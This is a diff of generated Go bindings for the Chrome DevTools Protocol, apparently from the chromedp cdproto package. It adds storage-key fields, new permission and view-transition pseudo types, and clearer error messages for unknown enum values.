*t = FederatedAuthRequestIssueReasonConfigNotInWellKnown
case FederatedAuthRequestIssueReasonWellKnownTooBig:
*t = FederatedAuthRequestIssueReasonWellKnownTooBig
case FederatedAuthRequestIssueReasonConfigHTTPNotFound:
*t = FederatedAuthRequestIssueReasonConfigHTTPNotFound
case FederatedAuthRequestIssueReasonConfigNoResponse:
*t = FederatedAuthRequestIssueReasonConfigNoResponse
case FederatedAuthRequestIssueReasonConfigInvalidResponse:
*t = FederatedAuthRequestIssueReasonConfigInvalidResponse
case FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound:
*t = FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound
case FederatedAuthRequestIssueReasonClientMetadataNoResponse:
@@ -1302,6 +1329,8 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = FederatedAuthRequestIssueReasonAccountsNoResponse
case FederatedAuthRequestIssueReasonAccountsInvalidResponse:
*t = FederatedAuthRequestIssueReasonAccountsInvalidResponse
case FederatedAuthRequestIssueReasonAccountsListEmpty:
*t = FederatedAuthRequestIssueReasonAccountsListEmpty
case FederatedAuthRequestIssueReasonIDTokenHTTPNotFound:
*t = FederatedAuthRequestIssueReasonIDTokenHTTPNotFound
case FederatedAuthRequestIssueReasonIDTokenNoResponse:
@@ -1318,7 +1347,7 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = FederatedAuthRequestIssueReasonRpPageNotVisible
default:
in.AddError(errors.New("unknown FederatedAuthRequestIssueReason value"))
in.AddError(fmt.Errorf("unknown FederatedAuthRequestIssueReason value: %v", v))
}
}
@@ -1381,7 +1410,8 @@ func (t InspectorIssueCode) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch InspectorIssueCode(in.String()) {
v := in.String()
switch InspectorIssueCode(v) {
case InspectorIssueCodeCookieIssue:
*t = InspectorIssueCodeCookieIssue
case InspectorIssueCodeMixedContentIssue:
@@ -1416,7 +1446,7 @@ func (t *InspectorIssueCode) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = InspectorIssueCodeFederatedAuthRequestIssue
default:
in.AddError(errors.New("unknown InspectorIssueCode value"))
in.AddError(fmt.Errorf("unknown InspectorIssueCode value: %v", v))
}
}
@@ -1498,7 +1528,8 @@ func (t GetEncodedResponseEncoding) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *GetEncodedResponseEncoding) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch GetEncodedResponseEncoding(in.String()) {
v := in.String()
switch GetEncodedResponseEncoding(v) {
case GetEncodedResponseEncodingWebp:
*t = GetEncodedResponseEncodingWebp
case GetEncodedResponseEncodingJpeg:
@@ -1507,7 +1538,7 @@ func (t *GetEncodedResponseEncoding) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = GetEncodedResponseEncodingPng
default:
in.AddError(errors.New("unknown GetEncodedResponseEncoding value"))
in.AddError(fmt.Errorf("unknown GetEncodedResponseEncoding value: %v", v))
}
}
+7
View File
@@ -518,6 +518,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice6(in *jlexer
}
in.Delim(']')
}
case "storageKey":
out.StorageKey = string(in.String())
default:
in.SkipRecursive()
}
@@ -586,6 +588,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice6(out *jwrit
out.RawByte(']')
}
}
{
const prefix string = ",\"storageKey\":"
out.RawString(prefix)
out.String(string(in.StorageKey))
}
out.RawByte('}')
}
+5 -3
View File
@@ -3,7 +3,7 @@ package backgroundservice
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/serviceworker"
@@ -46,7 +46,8 @@ func (t ServiceName) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ServiceName) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ServiceName(in.String()) {
v := in.String()
switch ServiceName(v) {
case ServiceNameBackgroundFetch:
*t = ServiceNameBackgroundFetch
case ServiceNameBackgroundSync:
@@ -61,7 +62,7 @@ func (t *ServiceName) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = ServiceNamePeriodicBackgroundSync
default:
in.AddError(errors.New("unknown ServiceName value"))
in.AddError(fmt.Errorf("unknown ServiceName value: %v", v))
}
}
@@ -90,4 +91,5 @@ type Event struct {
EventName string `json:"eventName"` // A description of the event.
InstanceID string `json:"instanceId"` // An identifier that groups related events together.
EventMetadata []*EventMetadata `json:"eventMetadata"` // A list of event-specific information.
StorageKey string `json:"storageKey"` // Storage key this event belongs to.
}
+34 -16
View File
@@ -3,7 +3,7 @@ package browser
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
@@ -50,7 +50,8 @@ func (t WindowState) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *WindowState) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch WindowState(in.String()) {
v := in.String()
switch WindowState(v) {
case WindowStateNormal:
*t = WindowStateNormal
case WindowStateMinimized:
@@ -61,7 +62,7 @@ func (t *WindowState) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = WindowStateFullscreen
default:
in.AddError(errors.New("unknown WindowState value"))
in.AddError(fmt.Errorf("unknown WindowState value: %v", v))
}
}
@@ -103,6 +104,8 @@ const (
PermissionTypeDurableStorage PermissionType = "durableStorage"
PermissionTypeFlash PermissionType = "flash"
PermissionTypeGeolocation PermissionType = "geolocation"
PermissionTypeIdleDetection PermissionType = "idleDetection"
PermissionTypeLocalFonts PermissionType = "localFonts"
PermissionTypeMidi PermissionType = "midi"
PermissionTypeMidiSysex PermissionType = "midiSysex"
PermissionTypeNfc PermissionType = "nfc"
@@ -111,11 +114,13 @@ const (
PermissionTypePeriodicBackgroundSync PermissionType = "periodicBackgroundSync"
PermissionTypeProtectedMediaIdentifier PermissionType = "protectedMediaIdentifier"
PermissionTypeSensors PermissionType = "sensors"
PermissionTypeStorageAccess PermissionType = "storageAccess"
PermissionTypeTopLevelStorageAccess PermissionType = "topLevelStorageAccess"
PermissionTypeVideoCapture PermissionType = "videoCapture"
PermissionTypeVideoCapturePanTiltZoom PermissionType = "videoCapturePanTiltZoom"
PermissionTypeIdleDetection PermissionType = "idleDetection"
PermissionTypeWakeLockScreen PermissionType = "wakeLockScreen"
PermissionTypeWakeLockSystem PermissionType = "wakeLockSystem"
PermissionTypeWindowManagement PermissionType = "windowManagement"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -130,7 +135,8 @@ func (t PermissionType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch PermissionType(in.String()) {
v := in.String()
switch PermissionType(v) {
case PermissionTypeAccessibilityEvents:
*t = PermissionTypeAccessibilityEvents
case PermissionTypeAudioCapture:
@@ -151,6 +157,10 @@ func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = PermissionTypeFlash
case PermissionTypeGeolocation:
*t = PermissionTypeGeolocation
case PermissionTypeIdleDetection:
*t = PermissionTypeIdleDetection
case PermissionTypeLocalFonts:
*t = PermissionTypeLocalFonts
case PermissionTypeMidi:
*t = PermissionTypeMidi
case PermissionTypeMidiSysex:
@@ -167,19 +177,23 @@ func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = PermissionTypeProtectedMediaIdentifier
case PermissionTypeSensors:
*t = PermissionTypeSensors
case PermissionTypeStorageAccess:
*t = PermissionTypeStorageAccess
case PermissionTypeTopLevelStorageAccess:
*t = PermissionTypeTopLevelStorageAccess
case PermissionTypeVideoCapture:
*t = PermissionTypeVideoCapture
case PermissionTypeVideoCapturePanTiltZoom:
*t = PermissionTypeVideoCapturePanTiltZoom
case PermissionTypeIdleDetection:
*t = PermissionTypeIdleDetection
case PermissionTypeWakeLockScreen:
*t = PermissionTypeWakeLockScreen
case PermissionTypeWakeLockSystem:
*t = PermissionTypeWakeLockSystem
case PermissionTypeWindowManagement:
*t = PermissionTypeWindowManagement
default:
in.AddError(errors.New("unknown PermissionType value"))
in.AddError(fmt.Errorf("unknown PermissionType value: %v", v))
}
}
@@ -217,7 +231,8 @@ func (t PermissionSetting) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PermissionSetting) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch PermissionSetting(in.String()) {
v := in.String()
switch PermissionSetting(v) {
case PermissionSettingGranted:
*t = PermissionSettingGranted
case PermissionSettingDenied:
@@ -226,7 +241,7 @@ func (t *PermissionSetting) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = PermissionSettingPrompt
default:
in.AddError(errors.New("unknown PermissionSetting value"))
in.AddError(fmt.Errorf("unknown PermissionSetting value: %v", v))
}
}
@@ -276,14 +291,15 @@ func (t CommandID) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CommandID) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CommandID(in.String()) {
v := in.String()
switch CommandID(v) {
case CommandIDOpenTabSearch:
*t = CommandIDOpenTabSearch
case CommandIDCloseTabSearch:
*t = CommandIDCloseTabSearch
default:
in.AddError(errors.New("unknown CommandID value"))
in.AddError(fmt.Errorf("unknown CommandID value: %v", v))
}
}
@@ -340,7 +356,8 @@ func (t DownloadProgressState) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *DownloadProgressState) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch DownloadProgressState(in.String()) {
v := in.String()
switch DownloadProgressState(v) {
case DownloadProgressStateInProgress:
*t = DownloadProgressStateInProgress
case DownloadProgressStateCompleted:
@@ -349,7 +366,7 @@ func (t *DownloadProgressState) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = DownloadProgressStateCanceled
default:
in.AddError(errors.New("unknown DownloadProgressState value"))
in.AddError(fmt.Errorf("unknown DownloadProgressState value: %v", v))
}
}
@@ -391,7 +408,8 @@ func (t SetDownloadBehaviorBehavior) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SetDownloadBehaviorBehavior) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SetDownloadBehaviorBehavior(in.String()) {
v := in.String()
switch SetDownloadBehaviorBehavior(v) {
case SetDownloadBehaviorBehaviorDeny:
*t = SetDownloadBehaviorBehaviorDeny
case SetDownloadBehaviorBehaviorAllow:
@@ -402,7 +420,7 @@ func (t *SetDownloadBehaviorBehavior) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = SetDownloadBehaviorBehaviorDefault
default:
in.AddError(errors.New("unknown SetDownloadBehaviorBehavior value"))
in.AddError(fmt.Errorf("unknown SetDownloadBehaviorBehavior value: %v", v))
}
}
+17 -7
View File
@@ -63,7 +63,8 @@ func (p *DeleteEntryParams) Do(ctx context.Context) (err error) {
// RequestCacheNamesParams requests cache names.
type RequestCacheNamesParams struct {
SecurityOrigin string `json:"securityOrigin"` // Security origin.
SecurityOrigin string `json:"securityOrigin,omitempty"` // At least and at most one of securityOrigin, storageKey must be specified. Security origin.
StorageKey string `json:"storageKey,omitempty"` // Storage key.
}
// RequestCacheNames requests cache names.
@@ -71,12 +72,21 @@ type RequestCacheNamesParams struct {
// See: https://chromedevtools.github.io/devtools-protocol/tot/CacheStorage#method-requestCacheNames
//
// parameters:
//
// securityOrigin - Security origin.
func RequestCacheNames(securityOrigin string) *RequestCacheNamesParams {
return &RequestCacheNamesParams{
SecurityOrigin: securityOrigin,
}
func RequestCacheNames() *RequestCacheNamesParams {
return &RequestCacheNamesParams{}
}
// WithSecurityOrigin at least and at most one of securityOrigin, storageKey
// must be specified. Security origin.
func (p RequestCacheNamesParams) WithSecurityOrigin(securityOrigin string) *RequestCacheNamesParams {
p.SecurityOrigin = securityOrigin
return &p
}
// WithStorageKey storage key.
func (p RequestCacheNamesParams) WithStorageKey(storageKey string) *RequestCacheNamesParams {
p.StorageKey = storageKey
return &p
}
// RequestCacheNamesReturns return values.
+21 -1
View File
@@ -554,6 +554,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage5(in *jlexer.Lexe
switch key {
case "securityOrigin":
out.SecurityOrigin = string(in.String())
case "storageKey":
out.StorageKey = string(in.String())
default:
in.SkipRecursive()
}
@@ -568,11 +570,22 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage5(out *jwriter.Wr
out.RawByte('{')
first := true
_ = first
{
if in.SecurityOrigin != "" {
const prefix string = ",\"securityOrigin\":"
first = false
out.RawString(prefix[1:])
out.String(string(in.SecurityOrigin))
}
if in.StorageKey != "" {
const prefix string = ",\"storageKey\":"
if first {
first = false
out.RawString(prefix[1:])
} else {
out.RawString(prefix)
}
out.String(string(in.StorageKey))
}
out.RawByte('}')
}
@@ -1103,6 +1116,8 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCachestorage11(in *jlexer.Lex
out.CacheID = CacheID(in.String())
case "securityOrigin":
out.SecurityOrigin = string(in.String())
case "storageKey":
out.StorageKey = string(in.String())
case "cacheName":
out.CacheName = string(in.String())
default:
@@ -1129,6 +1144,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCachestorage11(out *jwriter.W
out.RawString(prefix)
out.String(string(in.SecurityOrigin))
}
{
const prefix string = ",\"storageKey\":"
out.RawString(prefix)
out.String(string(in.StorageKey))
}
{
const prefix string = ",\"cacheName\":"
out.RawString(prefix)
+5 -3
View File
@@ -3,7 +3,7 @@ package cachestorage
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"fmt"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
@@ -52,7 +52,8 @@ func (t CachedResponseType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CachedResponseType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CachedResponseType(in.String()) {
v := in.String()
switch CachedResponseType(v) {
case CachedResponseTypeBasic:
*t = CachedResponseTypeBasic
case CachedResponseTypeCors:
@@ -67,7 +68,7 @@ func (t *CachedResponseType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = CachedResponseTypeOpaqueRedirect
default:
in.AddError(errors.New("unknown CachedResponseType value"))
in.AddError(fmt.Errorf("unknown CachedResponseType value: %v", v))
}
}
@@ -96,6 +97,7 @@ type DataEntry struct {
type Cache struct {
CacheID CacheID `json:"cacheId"` // An opaque unique id of the cache.
SecurityOrigin string `json:"securityOrigin"` // Security origin of the cache.
StorageKey string `json:"storageKey"` // Storage key of the cache.
CacheName string `json:"cacheName"` // The name of the cache.
}
+71 -60
View File
@@ -4,7 +4,6 @@ package cdp
import (
"context"
"errors"
"fmt"
"strconv"
"strings"
@@ -167,31 +166,31 @@ func (t PseudoType) String() string {
// PseudoType values.
const (
PseudoTypeFirstLine PseudoType = "first-line"
PseudoTypeFirstLetter PseudoType = "first-letter"
PseudoTypeBefore PseudoType = "before"
PseudoTypeAfter PseudoType = "after"
PseudoTypeMarker PseudoType = "marker"
PseudoTypeBackdrop PseudoType = "backdrop"
PseudoTypeSelection PseudoType = "selection"
PseudoTypeTargetText PseudoType = "target-text"
PseudoTypeSpellingError PseudoType = "spelling-error"
PseudoTypeGrammarError PseudoType = "grammar-error"
PseudoTypeHighlight PseudoType = "highlight"
PseudoTypeFirstLineInherited PseudoType = "first-line-inherited"
PseudoTypeScrollbar PseudoType = "scrollbar"
PseudoTypeScrollbarThumb PseudoType = "scrollbar-thumb"
PseudoTypeScrollbarButton PseudoType = "scrollbar-button"
PseudoTypeScrollbarTrack PseudoType = "scrollbar-track"
PseudoTypeScrollbarTrackPiece PseudoType = "scrollbar-track-piece"
PseudoTypeScrollbarCorner PseudoType = "scrollbar-corner"
PseudoTypeResizer PseudoType = "resizer"
PseudoTypeInputListButton PseudoType = "input-list-button"
PseudoTypePageTransition PseudoType = "page-transition"
PseudoTypePageTransitionContainer PseudoType = "page-transition-container"
PseudoTypePageTransitionImageWrapper PseudoType = "page-transition-image-wrapper"
PseudoTypePageTransitionOutgoingImage PseudoType = "page-transition-outgoing-image"
PseudoTypePageTransitionIncomingImage PseudoType = "page-transition-incoming-image"
PseudoTypeFirstLine PseudoType = "first-line"
PseudoTypeFirstLetter PseudoType = "first-letter"
PseudoTypeBefore PseudoType = "before"
PseudoTypeAfter PseudoType = "after"
PseudoTypeMarker PseudoType = "marker"
PseudoTypeBackdrop PseudoType = "backdrop"
PseudoTypeSelection PseudoType = "selection"
PseudoTypeTargetText PseudoType = "target-text"
PseudoTypeSpellingError PseudoType = "spelling-error"
PseudoTypeGrammarError PseudoType = "grammar-error"
PseudoTypeHighlight PseudoType = "highlight"
PseudoTypeFirstLineInherited PseudoType = "first-line-inherited"
PseudoTypeScrollbar PseudoType = "scrollbar"
PseudoTypeScrollbarThumb PseudoType = "scrollbar-thumb"
PseudoTypeScrollbarButton PseudoType = "scrollbar-button"
PseudoTypeScrollbarTrack PseudoType = "scrollbar-track"
PseudoTypeScrollbarTrackPiece PseudoType = "scrollbar-track-piece"
PseudoTypeScrollbarCorner PseudoType = "scrollbar-corner"
PseudoTypeResizer PseudoType = "resizer"
PseudoTypeInputListButton PseudoType = "input-list-button"
PseudoTypeViewTransition PseudoType = "view-transition"
PseudoTypeViewTransitionGroup PseudoType = "view-transition-group"
PseudoTypeViewTransitionImagePair PseudoType = "view-transition-image-pair"
PseudoTypeViewTransitionOld PseudoType = "view-transition-old"
PseudoTypeViewTransitionNew PseudoType = "view-transition-new"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
@@ -206,7 +205,8 @@ func (t PseudoType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PseudoType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch PseudoType(in.String()) {
v := in.String()
switch PseudoType(v) {
case PseudoTypeFirstLine:
*t = PseudoTypeFirstLine
case PseudoTypeFirstLetter:
@@ -247,19 +247,19 @@ func (t *PseudoType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = PseudoTypeResizer
case PseudoTypeInputListButton:
*t = PseudoTypeInputListButton
case PseudoTypePageTransition:
*t = PseudoTypePageTransition
case PseudoTypePageTransitionContainer:
*t = PseudoTypePageTransitionContainer
case PseudoTypePageTransitionImageWrapper:
*t = PseudoTypePageTransitionImageWrapper
case PseudoTypePageTransitionOutgoingImage:
*t = PseudoTypePageTransitionOutgoingImage
case PseudoTypePageTransitionIncomingImage:
*t = PseudoTypePageTransitionIncomingImage
case PseudoTypeViewTransition:
*t = PseudoTypeViewTransition
case PseudoTypeViewTransitionGroup:
*t = PseudoTypeViewTransitionGroup
case PseudoTypeViewTransitionImagePair:
*t = PseudoTypeViewTransitionImagePair
case PseudoTypeViewTransitionOld:
*t = PseudoTypeViewTransitionOld
case PseudoTypeViewTransitionNew:
*t = PseudoTypeViewTransitionNew
default:
in.AddError(errors.New("unknown PseudoType value"))
in.AddError(fmt.Errorf("unknown PseudoType value: %v", v))
}
}
@@ -297,7 +297,8 @@ func (t ShadowRootType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ShadowRootType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ShadowRootType(in.String()) {
v := in.String()
switch ShadowRootType(v) {
case ShadowRootTypeUserAgent:
*t = ShadowRootTypeUserAgent
case ShadowRootTypeOpen:
@@ -306,7 +307,7 @@ func (t *ShadowRootType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = ShadowRootTypeClosed
default:
in.AddError(errors.New("unknown ShadowRootType value"))
in.AddError(fmt.Errorf("unknown ShadowRootType value: %v", v))
}
}
@@ -344,7 +345,8 @@ func (t CompatibilityMode) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CompatibilityMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CompatibilityMode(in.String()) {
v := in.String()
switch CompatibilityMode(v) {
case CompatibilityModeQuirksMode:
*t = CompatibilityModeQuirksMode
case CompatibilityModeLimitedQuirksMode:
@@ -353,7 +355,7 @@ func (t *CompatibilityMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = CompatibilityModeNoQuirksMode
default:
in.AddError(errors.New("unknown CompatibilityMode value"))
in.AddError(fmt.Errorf("unknown CompatibilityMode value: %v", v))
}
}
@@ -665,7 +667,8 @@ func (t NodeType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *NodeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch NodeType(in.Int64()) {
v := in.Int64()
switch NodeType(v) {
case NodeTypeElement:
*t = NodeTypeElement
case NodeTypeAttribute:
@@ -692,7 +695,7 @@ func (t *NodeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = NodeTypeNotation
default:
in.AddError(errors.New("unknown NodeType value"))
in.AddError(fmt.Errorf("unknown NodeType value: %v", v))
}
}
@@ -841,7 +844,8 @@ func (t AdFrameType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *AdFrameType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch AdFrameType(in.String()) {
v := in.String()
switch AdFrameType(v) {
case AdFrameTypeNone:
*t = AdFrameTypeNone
case AdFrameTypeChild:
@@ -850,7 +854,7 @@ func (t *AdFrameType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = AdFrameTypeRoot
default:
in.AddError(errors.New("unknown AdFrameType value"))
in.AddError(fmt.Errorf("unknown AdFrameType value: %v", v))
}
}
@@ -888,7 +892,8 @@ func (t AdFrameExplanation) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *AdFrameExplanation) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch AdFrameExplanation(in.String()) {
v := in.String()
switch AdFrameExplanation(v) {
case AdFrameExplanationParentIsAd:
*t = AdFrameExplanationParentIsAd
case AdFrameExplanationCreatedByAdScript:
@@ -897,7 +902,7 @@ func (t *AdFrameExplanation) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = AdFrameExplanationMatchedBlockingRule
default:
in.AddError(errors.New("unknown AdFrameExplanation value"))
in.AddError(fmt.Errorf("unknown AdFrameExplanation value: %v", v))
}
}
@@ -946,7 +951,8 @@ func (t SecureContextType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SecureContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SecureContextType(in.String()) {
v := in.String()
switch SecureContextType(v) {
case SecureContextTypeSecure:
*t = SecureContextTypeSecure
case SecureContextTypeSecureLocalhost:
@@ -957,7 +963,7 @@ func (t *SecureContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = SecureContextTypeInsecureAncestor
default:
in.AddError(errors.New("unknown SecureContextType value"))
in.AddError(fmt.Errorf("unknown SecureContextType value: %v", v))
}
}
@@ -996,7 +1002,8 @@ func (t CrossOriginIsolatedContextType) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *CrossOriginIsolatedContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch CrossOriginIsolatedContextType(in.String()) {
v := in.String()
switch CrossOriginIsolatedContextType(v) {
case CrossOriginIsolatedContextTypeIsolated:
*t = CrossOriginIsolatedContextTypeIsolated
case CrossOriginIsolatedContextTypeNotIsolated:
@@ -1005,7 +1012,7 @@ func (t *CrossOriginIsolatedContextType) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = CrossOriginIsolatedContextTypeNotIsolatedFeatureDisabled
default:
in.AddError(errors.New("unknown CrossOriginIsolatedContextType value"))
in.AddError(fmt.Errorf("unknown CrossOriginIsolatedContextType value: %v", v))
}
}
@@ -1044,7 +1051,8 @@ func (t GatedAPIFeatures) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *GatedAPIFeatures) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch GatedAPIFeatures(in.String()) {
v := in.String()
switch GatedAPIFeatures(v) {
case GatedAPIFeaturesSharedArrayBuffers:
*t = GatedAPIFeaturesSharedArrayBuffers
case GatedAPIFeaturesSharedArrayBuffersTransferAllowed:
@@ -1055,7 +1063,7 @@ func (t *GatedAPIFeatures) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = GatedAPIFeaturesPerformanceProfile
default:
in.AddError(errors.New("unknown GatedAPIFeatures value"))
in.AddError(fmt.Errorf("unknown GatedAPIFeatures value: %v", v))
}
}
@@ -1104,7 +1112,8 @@ func (t OriginTrialTokenStatus) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *OriginTrialTokenStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch OriginTrialTokenStatus(in.String()) {
v := in.String()
switch OriginTrialTokenStatus(v) {
case OriginTrialTokenStatusSuccess:
*t = OriginTrialTokenStatusSuccess
case OriginTrialTokenStatusNotSupported:
@@ -1131,7 +1140,7 @@ func (t *OriginTrialTokenStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = OriginTrialTokenStatusUnknownTrial
default:
in.AddError(errors.New("unknown OriginTrialTokenStatus value"))
in.AddError(fmt.Errorf("unknown OriginTrialTokenStatus value: %v", v))
}
}
@@ -1170,7 +1179,8 @@ func (t OriginTrialStatus) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *OriginTrialStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch OriginTrialStatus(in.String()) {
v := in.String()
switch OriginTrialStatus(v) {
case OriginTrialStatusEnabled:
*t = OriginTrialStatusEnabled
case OriginTrialStatusValidTokenNotProvided:
@@ -1181,7 +1191,7 @@ func (t *OriginTrialStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
*t = OriginTrialStatusTrialNotAllowed
default:
in.AddError(errors.New("unknown OriginTrialStatus value"))
in.AddError(fmt.Errorf("unknown OriginTrialStatus value: %v", v))
}
}
@@ -1218,14 +1228,15 @@ func (t OriginTrialUsageRestriction) MarshalJSON() ([]byte, error) {
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *OriginTrialUsageRestriction) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch OriginTrialUsageRestriction(in.String()) {
v := in.String()
switch OriginTrialUsageRestriction(v) {
case OriginTrialUsageRestrictionNone:
*t = OriginTrialUsageRestrictionNone
case OriginTrialUsageRestrictionSubset:
*t = OriginTrialUsageRestrictionSubset
default:
in.AddError(errors.New("unknown OriginTrialUsageRestriction value"))
in.AddError(fmt.Errorf("unknown OriginTrialUsageRestriction value: %v", v))
}
}
+60 -28
View File
@@ -343,8 +343,6 @@ const (
EventFetchRequestPaused = "Fetch.requestPaused"
EventFetchAuthRequired = "Fetch.authRequired"
CommandHeadlessExperimentalBeginFrame = headlessexperimental.CommandBeginFrame
CommandHeadlessExperimentalDisable = headlessexperimental.CommandDisable
CommandHeadlessExperimentalEnable = headlessexperimental.CommandEnable
CommandHeapProfilerAddInspectedHeapObject = heapprofiler.CommandAddInspectedHeapObject
CommandHeapProfilerCollectGarbage = heapprofiler.CommandCollectGarbage
CommandHeapProfilerDisable = heapprofiler.CommandDisable
@@ -434,7 +432,6 @@ const (
CommandNetworkDisable = network.CommandDisable
CommandNetworkEmulateNetworkConditions = network.CommandEmulateNetworkConditions
CommandNetworkEnable = network.CommandEnable
CommandNetworkGetAllCookies = network.CommandGetAllCookies
CommandNetworkGetCertificate = network.CommandGetCertificate
CommandNetworkGetCookies = network.CommandGetCookies
CommandNetworkGetResponseBody = network.CommandGetResponseBody
@@ -523,6 +520,7 @@ const (
CommandPageGetInstallabilityErrors = page.CommandGetInstallabilityErrors
CommandPageGetManifestIcons = page.CommandGetManifestIcons
CommandPageGetAppID = page.CommandGetAppID
CommandPageGetAdScriptID = page.CommandGetAdScriptID
CommandPageGetFrameTree = page.CommandGetFrameTree
CommandPageGetLayoutMetrics = page.CommandGetLayoutMetrics
CommandPageGetNavigationHistory = page.CommandGetNavigationHistory
@@ -544,7 +542,6 @@ const (
CommandPageSetFontFamilies = page.CommandSetFontFamilies
CommandPageSetFontSizes = page.CommandSetFontSizes
CommandPageSetDocumentContent = page.CommandSetDocumentContent
CommandPageSetDownloadBehavior = page.CommandSetDownloadBehavior
CommandPageSetLifecycleEventsEnabled = page.CommandSetLifecycleEventsEnabled
CommandPageStartScreencast = page.CommandStartScreencast
CommandPageStopLoading = page.CommandStopLoading
@@ -594,12 +591,9 @@ const (
CommandProfilerSetSamplingInterval = profiler.CommandSetSamplingInterval
CommandProfilerStart = profiler.CommandStart
CommandProfilerStartPreciseCoverage = profiler.CommandStartPreciseCoverage
CommandProfilerStartTypeProfile = profiler.CommandStartTypeProfile
CommandProfilerStop = profiler.CommandStop
CommandProfilerStopPreciseCoverage = profiler.CommandStopPreciseCoverage
